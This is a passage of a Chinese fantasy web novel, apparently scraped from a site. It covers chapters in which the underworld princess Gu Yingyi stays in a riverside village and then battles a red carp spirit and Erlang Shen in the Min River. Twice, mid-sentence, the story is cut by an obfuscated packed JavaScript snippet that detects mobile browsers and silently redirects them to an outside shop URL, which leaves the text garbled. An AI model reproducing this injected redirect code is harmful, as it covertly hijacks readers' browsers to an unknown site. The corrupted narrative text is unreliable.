“你?给我涂?”谷盈一生气且不解。 说罢,张择晓又靠近了她一些,小心翼翼地将她的袖子翻卷上去,见那伤口又大又红的,已经有些肿胀了,他打开药罐,用手指揩了点,带着药的指肚在她伤口出轻轻打着旋儿,又用纱带包扎好。 谷盈一神游了,这是一个陌生的男子给她涂药,这般亲近的事,这种感觉与父亲,与哥哥,与令芾,甚至与从小一起玩耍的金漉师兄,她觉得张择晓蛮温柔的,他身上的那种清冽感让她觉得很不同。算了,别管那么多了,涂好药,早些好了,还得去找哥哥,还得去降服更凶猛的妖兽。 16. 青泥丸 在晚霞染红的天际下,村落里的百姓们卸下了一天的疲倦,饮着青芽山来的茶水,坐在村口的石凳上闲谈,几乎没人还沉浸在那老头子死亡的哀愁之中,毕竟这只能算是老妇人的家事。老妇人他们原本是有一个儿子的,十几年前下河去捉泥鳅时,不甚被毒蛇咬死了,丈夫瞒了她几年,只说儿子外出挣钱了,可最后还是被那老妇人得知了。如今丈夫重蹈儿子的覆辙,老妇人哭得快丢了半条命了。 张择晓沐浴在霞光里,通体金白的官服覆上了一层绯红色的纱衣。 谷盈一问道:“喂,仙君,你咋还留在这里吗?这里不富裕,可没预备你的晚饭。”她心想,虽然觉得这位天上来的仙君装装的,一副冷淡的生人勿近的样子,但还真有几分清冷疏离,仙姿如月,可惜,他们根本不是一路人,不然能当好玩伴了。 张择晓就那么平静地望着她,也不应答。他好像是在静静地看着她的眼睛。 谷盈一羞愤,质问道:“你看什么看,别以为我不会揍你……” 金漉忙走在她的身前,道:“……殿下,盈一从小就不太会说话,还请见谅,对了,小僧多谢殿下赠的药,殿下真是宅心仁厚,这么多天了,还记挂着小僧,小僧感激不尽。” 昨日刚巧是人间四月的月末最后一天,张择晓看了灌江口上呈的上月文书,得知梅山六兄弟与宫主抢蟹怪的事,这件事,地府却报的不一样,他本该派一个小吏来核查就是了,但地府中又上报,宫主受伤的事,他忙向天帝请奏,自己要亲自来核查这件事了,而天帝只给他批了半天的假。如今,宫主没什么大碍,他也得回天庭销条子了,若是迟了,别说父帝那边有怨气,就连大殿二殿那边都喋喋不休了。 “宫主,这些药,你拿着吧。”张择晓把几罐子药给谷盈一。 谷盈一一摆手,拒绝了,道:“你这是存心诅咒本主受伤的是吗?” “小王不是这个意思,既然宫主不笑纳,那先放在小王处。宫主,后会有期。”说罢,他脚踏一朵祥云,向天上飞去了。 “什么后会有期,我才不要见他呢,真是麻烦,莫名其妙的就出现,烦都烦死了。” 金漉笑道:“盈一,你若是嫌弃他,就别用他送来的药啊。那你还涂了干什么?” “关你什么事啊。我爱咋的就咋的。”说罢谷盈一回屋躺着休息去了。 常言道:时令流转不由人,农穑勤耕哪得闲?此时正是插秧的季节。老妇人还沉浸在悲痛里,已经小住三日了,差不多再有两日,她们就该启程了,金漉觉得在这里白吃白喝是一件无比羞愧的事情,而且谷盈一天天睡到日头中悬的,也不像话。老妇人又在守丧,家里面没有人帮衬她忙庄稼活,就拉着谷盈一去帮忙了。 这谷盈一头戴斗笠,换了身更加干练的衣服,来到农田。鸭子河的渠口有道长木槽,前端有转轮,三五个人脚踩踏板,长链子似的木板就会旋转着转动。转动之后,河水会被木板源源不断地推到木槽里,送上来的水被存储到大理石铺就的水槽里,被分流到各个农田里。 谷盈一见有人这么忙活,就不想干了,反正也没有她的事,她打算去插秧,此时的金漉正在插秧。他将裤腿挽到小腿肚之上,光着脚丫子站在浅水里,水没过他的脚裸,一手分秧,一手将嫩绿的秧苗插进软泥里。金漉倒是学得蛮快的,就是弄得全身脏乎乎的,而且日头毒辣,他热得连上衫都湿透了,嗒嗒得直滴水。这可真是太狼狈了,谷盈一见状还是不干。 谷盈一拿起一个空的木桶,打算去鸭子河边提一桶水,来浇农田。 她刚来到河边,有几个村民正在小船上撒网,就转身对她道: “小姑娘,听说你被螃蟹夹了。”他们笑得很欢快。 “关你们什么事啊?”谷盈一心中发怒,她竟能忍下,今天啥忙还没帮,就先不和一群刁民计较了,但她心里还是不舒服:什么人都能来嘲笑本主了?咬了咬牙,她猛地一下将水桶沉入河里,扎扎实实地提上了一桶水。谷盈一暗自想:如果他们再出言不恭,就用地火烧烂他们的筏子,将他们通通沉入河底,去喂螃蟹。 “没事的,我们这里的村民经常被夹的。所以随处种满了马齿苋。” 放肆,能把本主和你们比吗??? 谷盈一仍旧愠怒,不过她又好奇:“听说淹死的都是会水的,所以你们经常捕鱼也会这样吗?” 有一个红脸浮肿、有罗圈腿的汉子道:“我们这鸭子河的螃蟹鱼虾和其他地方的不一样,烈性子,但是又特别好吃,小姑娘,听说你昨天晚上捉了一只特别大的螃蟹,是不是吃过瘾了呀?” 谷盈一闻言尴尬,这小村子怎么什么话都传得那么快,又不会请他们吃,管那么多干什么。不过一想到,她昨天吃的那条螃蟹,心里就美得很。她果然灵力大涨,连拎在手里的满满当当的一桶水都举重若轻,像一团棉花似的。 她刚要走,正好看到一个农妇手里挑着担子,有两口翁,还用盖子盖住了谷盈一特别好奇,这是挑着担往水里走啊,这是去干啥,于是问道:“喂,你这坛子里装的是什么?” “这里头装的是青泥丸呀。”农妇答。 “什么是青泥丸?” 那农妇见谷盈一瞪着疑惑的大眼睛,就停下脚步,放下担子,与她解释起来了。 农妇道:“把红苋菜摘来,用水洗濯干净,就捣成烂泥状,之后呢,再抓几只活泼乱跳的螃蟹,连带着壳剁成碎末,搅拌搅拌青泥,制成丸子,放到太阳底下晒干,丢到小溪里,不几天,就会生出很多只小螃蟹,把它们捞出来放在鸭子河养,就会养得个头又大,肉质鲜美。” “那蚌,还有蛤蜊呢?” “这个……我们只捕捞鱼虾河蟹这类的,不采珠呢。也是为了过过嘴瘾,我们这小村庄,粮食也是自己种给自己吃的。” “哼。那你们要小心了,恐怕那螃蟹都快要成精了。” “什么?小姑娘,你可不要危言耸听呀。” 谷盈一没搭理她,拎着水桶走了。没拎几桶,她的胳膊就酸痛难忍,本来就是有点受伤了,还干什么活,要是哥哥在,一定会心疼死她的。“好了谷盈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17615865|206072||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一,回去喝点水,睡会儿觉吧。”自己劝自己后,她拿出一张黄纸符,双指夹在手里,捻诀道:“疾如风,瞬如影,移!”,符纸被紫火烧得灰飞烟灭,她也一下子到了老妇人的家。 那老妇人还在灵堂哭泣,谷盈一也动了恻隐之心,她说道:“那个……老婆婆,你别哭了,人死了就是死了,他的肉体凡胎已经下葬,不如多为他的灵魂祈祷祈祷吧,说不定的话,下辈子能有个好命格呢。” “姑娘,看你年纪这么小,怎么会说出这些话的……” “这个嘛……”谷盈一总不能说她是酆都大帝的女儿,也不能说她天天和鬼魂打交道吧,这会吓到老婆婆的。但她还是想着劝她别那么伤心了,就说:“我从小招鬼,自然知道的多了……” 还没等谷盈一说完,那老婆子就拉住她的手说:“姑娘,你是不是仙家人呀?老身看那小师父器宇不凡,看你周身的气韵,更是与旁人不同。而且你昨日还捕获了那么大的一只螃蟹,一定是有本事在身上的,是否能让我下去与他再见一面,或者我老头子托个梦给我也好啊。” 谷盈一连忙否认:“不是的不是的,我不是什么仙家,也不认识下面什么鬼吏鬼兵的。”谷盈一一下子语塞了,她看着这灵堂里悲戚的氛围,也忍不住眼含泪花,说道:“其实,是我的哥哥不在了,我……可我一直觉得他在我身边……” 那老婆子抱住她,两人一起哭了起来。 当晚,谷盈一找到那老妇人说:“老婆婆,我的绣功太差了,你能不能教教我绣花,我想把这个白色的彼岸花绣得好看些。” 是夜,那老妇人手把手教她,绣出了一朵漂亮的,开得舒展的白色彼岸花。 翌日,谷盈一实在受不了今天还得去干脏兮兮苦连连的庄稼活了,她可是北阴酆都大帝从小娇惯的女儿,地府之中,谁不宠爱着?试问,能将明珠暗投到泥水里吗? 她告诉金漉,今天必须走,她再在这里待下去,她整个人都要发疯了。于是,金漉只好收拾行囊,打算出发了。 他们要告别老妇人,金漉送给她一罐子灵芝丹,告诉那老妇人说,这药是人间难得的,若身子骨有不齐时,可以送水吞下,自当有妙用。他还抄写了一些心经,送给了那老妇人。 谷盈一觉得住在她家,虽然条件太差了,好在那老妇人也是个心肠体贴的人,她就告诉那老妇人说:“老婆婆,你家有没有核桃?” 那老妇人从木柜里拿出一袋子老核桃,谷盈一就把核桃砸碎,又从外面搬来圆石,放在院子的四角,把核桃撒在周围,她告诉老妇人:“这样鬼怪就不会害你了,对了,你以后也少出去吧,插秧,捕鱼这样的活就更别干了,将地租给别人,拿收成就好了。” 金漉也劝诫她说:“活着的人要好好珍惜生命,生命的流逝是不可逆转的,多行善事,必有福报,多为去世的人祈福,阿弥陀佛。”并双手合十。 那老妇人连忙道谢。 谷盈一问道:“过了鸭子河,前面是不是就要到岷江了。” “是。祝福你们。” 17. 茜绫 一路行至岷江,已是夏伏天,人间被热腾腾的蒸气包裹得窒息,压抑难忍,忽而见江,吹来了凉飒飒的风,只见那澈净的江水奔腾而去,翻卷起朵朵碧绿的浪花。 谷盈一开心极了,她一路小跑过去,掬起江水喝了起来,之后,她觉得还不够爽利,还没有消除身上的暑气,于是脱掉齐紫窄袖衫,跳进江里游泳。 霎时间,水流湍急,从江心涌出一条直冲天的大浪,似一条飘逸的青绿色长龙,水花四下溅去,一个身着红衣的女子悬在最高的浪花上。她身着银朱色波浪纹齐腰襦裙,鞓红的荷花边围裳,鹅黄色的绦带翩飞,又着桃红纱罗半臂,惊鹄鬓上缀满珊瑚贝壳,连两条麻花辫覆上了亮闪闪的珠光。她见谷盈一在身下的江波里刨水,笑道:“这里的水是我的水,你在这里游水,是要给钱的。” 谷盈一大怒,质问道:“你是什么妖怪?敢跟本姑娘要钱,你是找打吗!”说罢,她凌空而起,与那红衣女子双手赤拳,搏打起来。 金漉坐在路边的土堆上捧着叶子喝水,听到江边的动静忙跑过去,看到谷盈一与人打斗,大喊道:“盈一,我来帮你。” 那红衣女子却道:“和尚,别插手此事,让我与她过过招!” 谷盈一也道:“你先别来。我一个人能对付得了。”她攥紧拳头,向对方挥去,红衣女子并不躲闪,而是同样挥拳,两人过了几招,谷盈一小臂勾住红衣女子的手腕,腰肢一拧,从裙下伸出腿来,向她踢去,红衣女子侧身灵活一躲,手臂突然发力,将谷盈一翻了个圈儿,她一笑,谷盈一一恼,又加了力气,打了几个回合。 这时,那女子打得轻谐,也不占上风,谷盈一却觉得水汽侵身,灵力逐渐不能支撑她在江面上太久,就拔出青铜剑打去,欲将那个女子打回水底。 “好啊,偷喝水的小贼,你竟然先用武器,不过你以为别人没有啊?”那红衣女子以灵力激起层层波涛,逼得谷盈一退回江岸。 谷盈一不甘示弱,她变幻出黄纸符,覆上地火,捻诀道:“菟丝菟丝生有时,附。”那纸符如同一群群蝙蝠向那女子飞去。 那红衣女子以灵力召出箜篌,以手撩拨琴弦,弹出一道道红光,那散发着紫光的蝙蝠就瞬间灰飞烟灭。谷盈一又捻诀道:“飞燕,飞燕,去。”她踏着成千上万只附着紫光的小燕子,向那红衣女子飞去,那红衣女子转身弹奏,凌厉的红光打在飞燕上,有的被击落,有的像是鲤鱼过龙门向她飞跃着扑去,华丽无比,同时谷盈一也向她出剑,两人又打了几十回合。 这时,见谷盈一打得有些疲软了,金漉拿起银环锡杖,发出阵阵银光,也向那红衣女子打去。 红衣女子不能以一敌二,她晃了个虚影,躲入江底,并道:“那个穿紫衣服耍青铜剑的,我们还会再见的。”说罢,江面的涟漪也渐渐消失不见了。 谷盈一已经退回了江面,她气氛不已,要跳江与她再打几个回合,被金漉拉了回来,她拿出地图,道:“金漉,你看,这青光还亮着,哥哥的魂魄就是在这里的,我一定要下去打死那女妖怪。” “盈一,你我不善水战,不如休憩片刻,使个法将她引上岸来,再斗她一斗。” 谷盈一不听劝,她甩开金漉的手臂,非得下江去。于是纵身一跃,又跳下江去。 金漉见之,有些捉急,他抬头一望,远远地瞧见了江上漂来了一叶小舟,舟上有一艄公。他便挥手高声呼唤道:“船家,能否渡小僧一程。” 那艄公正撑着篙,闻言,欣然同意,笑着让他上船。 金漉一跃而上,站定在船心,一边催动灵力,一边说:“船家,别害怕,请将船划得稳些。小僧的小妹在河底,我得寻到她。” 说罢,用锡杖翻涌起江水,探寻谷盈一的去向。 金漉寻了半天也不见人。他就问那艄公:“敢问船家,这里是谁的地界?” 那艄公答:“此处是宝瓶口,不远处是灌江口,正是清源妙道二郎显圣真君的道场。” “竟是他……”金漉犹豫片刻,蹙眉道:“请您将船停靠在岸边。小僧不好下水,得去求见一趟二郎显圣真君了。” 那摆渡的艄公闻言,树皮般的脸上一下子起了愠色,反手拿起青竹篙,以破空之势向金漉扫去。金漉猝不及防,仓促抬手接招。不出三两下,他的脚被竹篙一扫,倒在飘摇的小船上。 那艄公腾空,升起一阵烟儿,变化出了真身。这正是布袋罗汉,尊者因揭陀,只见他袒露大肚,那大肚浑圆,可纳乾坤,肩头斜挎一只古朴简约的布袋子,此袋并非凡俗之物,乃是他证道之本的乾坤宝袋。他原是山野的捕蛇人,背着一个布袋,专捕毒蛇,拔掉毒牙后放生深山,以免路过的行人遇害。等善心圆满,修成了阿罗汉,那捕蛇的布袋变成了纳尽虚妄、收纳尘缘的乾坤宝袋。 金漉心头一惊,忙整理衣衫,伏身于船头,行的是佛门的大礼,道:“晚辈金漉,终日承地藏王菩萨的教诲,隶籍幽冥,拜见因揭陀尊者。” 尊者的笑容憨态可掬,道:“本座奉西天如来的法旨,下界传授经法,济世度人,不想今日却见到了地藏大士的门下,本座劝你,三界生灵各有宿缘造化,且放下执念,早日堪破虚妄,莫要牵扯过多的因果。” 说罢,尊者施了个法,将那小船化作布袋,收了回去,金漉身形一空,一下子跌倒在江里,在碧波里扑腾浮沉起来。那尊者又施了个法,丝丝烟雾托将金漉到了江边,便转身离去了。 金漉碍于佛家子弟的身份,和一些二郎神不善的传言,又犹豫了片刻,之后还是持杖去了灌江口。 这岷江下比鸭子河大多了,谷盈一依旧以纸符开道。这江底下有一个偌大的水晶宫,水波盈盈,四处是珊瑚、蚌、水草、鱼虾游来游去。 谷盈一走进宫内,发现没有一人,就走近了后殿,有一内室,纱幔萦绕,她走过去,一把掀开,发现那红衣女子正笑着等着她呢。那红衣女子一拳向她挥来,谷盈一踉跄一躲,怒气缠身,便拔出剑来,向她劈开水波,两人又打了起来。在水下,谷盈一不好策动地火,就耍起青铜剑来与那女子打了几十个回合,连烛台,高脚凳、珊瑚等物通通打翻在地。 不多久,两人打了出去,谷盈一一闪,“烟销日出,朝云无觅处,匿!”藏身在了水草后面,她召唤出纸符,变出一个小人,飞快得朝外头扔了出去,晃成一道影子。既然正面交锋不好打,谷盈一决定智取。 那红衣女子路过水草,看到了那个影子,于是向南边追了出去。 谷盈一打算跟在那女子身后,给她来一招出其不意,攻其不备。 这时,她看到有一个精巧的小宫殿,里面还上了锁,于是,她变出一个纸符,捻诀道:“彩云易散琉璃碎,破!”于是,那锁打开了,她走了进去,发现四下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17618223|206072||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无人,堂中央用水晶的盒子摆放了两颗辟水珠,像是苹果一般大的透明珠子,还散发着螺钿般的七彩光泽。 谷盈一用剑砸开那水晶盒子,翻涌灵力,将一颗珠子吞了进去,顿时觉得在水下呼吸自由,身体还漂浮了起来,她又使了灵力,就轻松下来,在水下行走如履平地,谷盈一大喜,她就把另一个珠子偷偷藏在衣带里。之后,想要去找那个红衣女子,听到外面有动静,就到锦屏后头躲了起来。 那红衣女子赶到后,发现辟水珠失窃,勃然大怒,额头青筋暴起,她当即唤出箜篌,拨动琴弦,阵阵红光像是水波一样像四周漫展开来,听得谷盈一是头痛欲裂,双手捂着脑袋倒地哀嚎。 忽的,谷盈一灵机一动,她想起来偷偷从白堕国那里炼化了一些香气,凝结成了一个香丸,于是输送灵力,将香味散发出去,不久后,那红衣女子便四肢乏力,晕倒在地上了。谷盈一自鸣得意,自言自语道:“这香果然厉害。” 这时,谷盈一悄悄从后面出来,正要拔剑杀死那红衣女子,谁料,那香在水下的威力更加猛烈,那红衣女子身子疲软,渐渐现出了原形,谷盈一睁大眼睛瞪着。 竟是条红色鲤鱼! 谷盈一大惊,斥道:“你就是茜绫,是你害死了我哥哥,我要杀了你!”如此赤鲤,又有辟水珠,还是去西海的方向,且听说南海红鲤稀少,仅有二三,这必是茜绫无疑,谷盈一大怒。 那红鲤虚弱地道:“不是……不是我……” 谷盈一将它提溜起来,看到它心口上有一块不一样的鳞片,像是龙类倒长的逆鳞,正要拔掉它,这时二郎神从天而降,道:“请宫主手下留情!” 语罢,一个丰神俊朗的神仙从天而降,他以法力失了一个结界,一个透明的泡泡将那红鲤鱼笼罩起来,慢慢地将它托浮到自己的掌心,并道:“宫主,多有唐突。只是看在我的薄面上,放过这尾红鲤鱼吧。” “不可能!看剑!” 谷盈一一点面子也不给二郎显圣真君,说罢就拿剑像他劈杀过去,由于才吞了辟水珠,她的身姿灵活了不少,花样繁出地使出剑法,而二郎神见她虽是小辈,却是地府来的,自然不敢与她贸然过招,更怕伤到她,只得躲闪。 “宫主!令兄之事真相尚为查清,冥帝也未曾妄下结论,宫主怎能将罪过尽数安在一条鲤鱼身上呢?” “你果是与她一伙的,如果不是她去西海送辟水珠,我哥哥怎么可能为了救她而被别人陷害?” 丧兄之仇不得不报,谷盈一的怒气越来越重,自从她离开地府后,使不出来地府恶魂炼化的煞气,可她的灵力越来越多,于是她继续与二郎神过招,一招比一招带着杀气。 二郎神见她眼神倔傲,剑法又凶猛又凌厉又有地火的独特加持,心中顿生了几分新奇,就与她拆了几招。 由于谷盈一刚吞下了辟水珠,尚未与自身的灵力相融,又频繁催动灵力,辟水珠的反噬之力就发作出来了,她觉得步子越来越沉重,如灌了铅,竟有心无力。二郎神显然是察觉出来了,想找个由头,不与她打斗了。 于是他向水面施了个法,梅山兄弟就来了,并道:“真君,天庭来人了。” 二郎神道:“失陪了宫主。若宫主愿来我府邸做客,杨某随时欢迎。”于是护着鲤鱼向上浮走了。 谷盈一恨得咬牙切齿,强撑着身子追了上去。